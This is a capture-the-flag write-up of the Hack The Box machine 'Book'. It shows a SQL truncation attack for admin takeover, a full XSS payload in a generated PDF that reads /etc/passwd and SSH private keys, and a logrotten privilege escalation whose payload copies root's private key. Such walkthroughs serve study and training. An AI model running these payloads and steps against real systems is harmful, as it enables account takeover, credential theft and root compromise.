
Summary
- We use
SQL Truncation Attackin the SignUp form and SignIn as admin. - We then take advantage of
reflected XSS in dynamically generated PDFto read the SSH private key. - We use
pspyto monitor the root processes and one of which useslogrotate. - Finally, we use the
logrottenexploit to read the SSH private key of root.
Recon
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kali@kali:~$ nmap -sC -sV 10.10.10.176
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-11 10:38 EDT
Nmap scan report for 10.10.10.176
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
| 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.63 seconds
We just have SSH port 22 and HTTP port 80 open.
Let’s start gobuster and visit the website.
gobuster
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
kali@kali:~$ gobuster dir -u 10.10.10.176 -w /usr/share/wordlists/dirb/common.txt -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.176
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/07/11 10:44:06 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/.hta (Status: 403)
/admin (Status: 301)
/docs (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
2020/07/11 10:44:42 Finished
===============================================================
gobuster found an important directory /admin
port 80
The homepage has a SignIn and SignUp option


there is a separate admin sign in on /admin

After signup
I created a new account and signed in, there are a lot of functionalities and hence there are a lot of rabbit holes too
I am not going to go into the rabbit holes to keep the writeup short and precise

From the Contact Us page I got the admin email ID –> admin@book.htb

There is a file upload functionality where I was even able to upload php files, so I tried a lot of things with it but couldn’t get anywhere

SQL Truncation Attack
User Exists Alert
If we try to create an account with the admin email ID it gives a User Exists alert


About the Attack
After a lot of unsuccessful attack trials, I found a very useful hint on HTB forum, it said
Why not create a password for admin rather than guessing it
after reading this hint, I tried SQL Truncation Attack in the SignUp page and it worked
I have seen this attack vector before in Natas Level 27, which is an OverTheWire wargame
Here is a great video writeup by John Hammond which explains SQL Truncation Attack in detail
The following blog also a good source to read about this attack vector
https://resources.infosecinstitute.com/sql-truncation-attack/
In the source code of the SignUp page I found this javascript which alerts the user if email field is left empty


As the email field can only store upto 20 characters, we can give the input with admin email then a few spaces then anything gibberish
1
admin@book.htb lkalsdjfalkf
SQL will truncate the input and only store the first 20 characters, which is just the admin email and a few spaces at the end
while querying anything, SQL just ignores the spaces at the end and we can login as admin
Burp Suite
As the email form field checks if the input is really an email ID, it won’t allow us to put spaces in the email input, so we need to use Burp
lets intercept the post request for sign up and change the email field

we don’t get a user exists alert, instead we get a 302 redirect to index.php, which means the attack was successful

XSS in Dynamically Generated PDF
Admin Panel
we can now login to both the admin as well as the user page using the admin email ID and the password we created

the only interesting functionality in the admin panel is the collections tab

the Users PDF contains the Name and Email of all the accounts

and the Collections PDF contains the Title, Author and Link to all the books on the platform

XSS
We have a book upload functionality in the user panel
lets upload something and then check the contents of the Collections PDF

we can see that our submitted book appears here with the Title, Author and a Link to the book itself

The content of the Collections PDF changes with the books available on the platform this shows that its a dynamically generated pdf
We clearly have a Cross Site Scripting (XSS) vulnerability because our input is directly reflected in the dynamically generated pdf
Exploit
I googled for dynamically generated pdf xss and found this great blog by Noob Ninja
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
He talks about leveraging XSS in dynamically generated PDFs to read local files using JavaScript
We can use the payload mentioned in the blog in the Title and the Author field while uploading a book as both of them are reflected in the PDF
1
2
3
4
5
6
7
8
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

and we get the /etc/passwd file

from the /etc/passwd file we know there is a user named reader, we can check if it has a RSA private key
so just change /etc/passwd in the payload to /home/reader/.ssh/id_rsa


we got the RSA private key for reader but the characters at the end of the lines are cut in the pdf
I was not able to select all the character in the default PDF viewer so I opened the PDF in firefox and used Ctrl+A to select everything
SSH as reader
Now that we have the id_rsa file for reader, we can SSH and get the user.txt file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
kali@kali:~$ ssh -i id_rsa reader@10.10.10.176
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Jul 11 17:40:26 UTC 2020
System load: 0.36 Processes: 143
Usage of /: 26.6% of 19.56GB Users logged in: 0
Memory usage: 29% IP address for ens33: 10.10.10.176
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
114 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Jul 11 17:30:11 2020 from 10.10.14.12
reader@book:~$ cat user.txt
51c1d4b5197fa30e3e5d37f8778f95bc
PrivEsc
backups
There is a backups directory in reader’s home which contains http access log files
1
2
3
4
5
6
7
8
9
10
11
reader@book:~$ ls
backups lse.sh user.txt
reader@book:~$ ls -al backups/
total 12
drwxr-xr-x 2 reader reader 4096 Jul 11 14:47 .
drwxr-xr-x 7 reader reader 4096 Jul 11 17:57 ..
-rw-r--r-- 1 reader reader 0 Jul 11 14:47 access.log
-rw-r--r-- 1 reader reader 91 Jul 11 14:47 access.log.1
reader@book:~$ cat backups/access.log
reader@book:~$ cat backups/access.log.1
192.168.0.104 - - [29/Jun/2019:14:39:55 +0000] "GET /robbie03 HTTP/1.1" 404 446 "-" "curl"
pspy
After a lot of enumeration, I didn’t found anything else, so I used pspy to view root processes
we can use scp to transfer the pspy binary
scp -i id_rsa /opt/pspy/pspy64 reader@10.10.10.176:~/pspy64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
reader@book:~$ ./pspy
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2020/07/11 18:05:39 CMD: UID=111 PID=975 | /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
2020/07/11 18:05:39 CMD: UID=0 PID=962 | /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
2020/07/11 18:05:39 CMD: UID=0 PID=942 | /usr/sbin/sshd -D
2020/07/11 18:05:39 CMD: UID=0 PID=928 | /bin/sh /root/reset.sh
2020/07/11 18:05:39 CMD: UID=0 PID=926 | /bin/sh -c /root/reset.sh
2020/07/11 18:05:39 CMD: UID=0 PID=912 | /usr/sbin/CRON -f
2020/07/11 18:05:39 CMD: UID=0 PID=904 | /sbin/agetty -o -p -- \u --noclear tty1 linux
...
...
2020/07/11 18:04:12 CMD: UID=0 PID=1065 | /usr/lib/policykit-1/polkitd --no-debug
2020/07/11 18:04:12 CMD: UID=0 PID=10 |
2020/07/11 18:04:12 CMD: UID=0 PID=1 | /sbin/init auto automatic-ubiquity noprompt
2020/07/11 18:04:14 CMD: UID=0 PID=51428 | sleep 5
2020/07/11 18:04:18 CMD: UID=1000 PID=51429 | /usr/sbin/apache2 -k start
2020/07/11 18:04:19 CMD: UID=0 PID=51431 | /usr/sbin/logrotate -f /root/log.cfg
2020/07/11 18:04:19 CMD: UID=0 PID=51430 | /bin/sh /root/log.sh
2020/07/11 18:04:19 CMD: UID=0 PID=51432 | sleep 5
pspy spits out lot of root processes, one of the root process uses logrotate
/usr/sbin/logrotate -f /root/log.cfg
Logrotten
I searched for logrotate privesc and got a github repo named logrotten which explains the complete process to privesc using logrotate
first of all lets transfer the logrotten.c file using scp
scp -i id_rsa ./logrotten/logrotten.c reader@10.10.10.176:~/logrotten.c
now we need to compile the c file and in the payload we can just copy root’s id_rsa file to /tmp
1
2
3
4
reader@book:~$ gcc -o logrotten logrotten.c
reader@book:~$ echo "cp /root/.ssh/id_rsa /tmp; chmod +r /tmp/id_rsa" > payload
reader@book:~$ cat payload
cp /root/.ssh/id_rsa /tmp; chmod +r /tmp/id_rsa
during the exploit we need to change the content of log file backups/access.log for the exploit to take place
so we will login as reader in another SSH session and change the content of log file after running the exploit
1
2
reader@book:~$ ./logrotten -p ./payload backups/access.log
Waiting for rotating backups/access.log...
now echo something in the log file to change its content
1
reader@book:~$ echo "" > backups/access.log
and the exploit is successfully completed
1
2
3
4
5
6
7
reader@book:~$ ./logrotten -p ./payload backups/access.log
Waiting for rotating backups/access.log...
Renamed backups with backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
reader@book:~$ ls -al /tmp/id_rsa
-rw-r--r-- 1 root root 1679 Jul 11 18:54 /tmp/id_rsa

SSH as root
Now that we have root’s SSH private key, we can SSH as root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
kali@kali:~$ ssh -i root.key root@10.10.10.176
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Jul 11 18:35:18 UTC 2020
System load: 0.0 Processes: 151
Usage of /: 26.6% of 19.56GB Users logged in: 1
Memory usage: 30% IP address for ens33: 10.10.10.176
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
114 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Jul 11 18:35:02 2020 from ::1
root@book:~# id
uid=0(root) gid=0(root) groups=0(root)
root@book:~# cat root.txt
84da92adf998a1c7231297f70dd89714
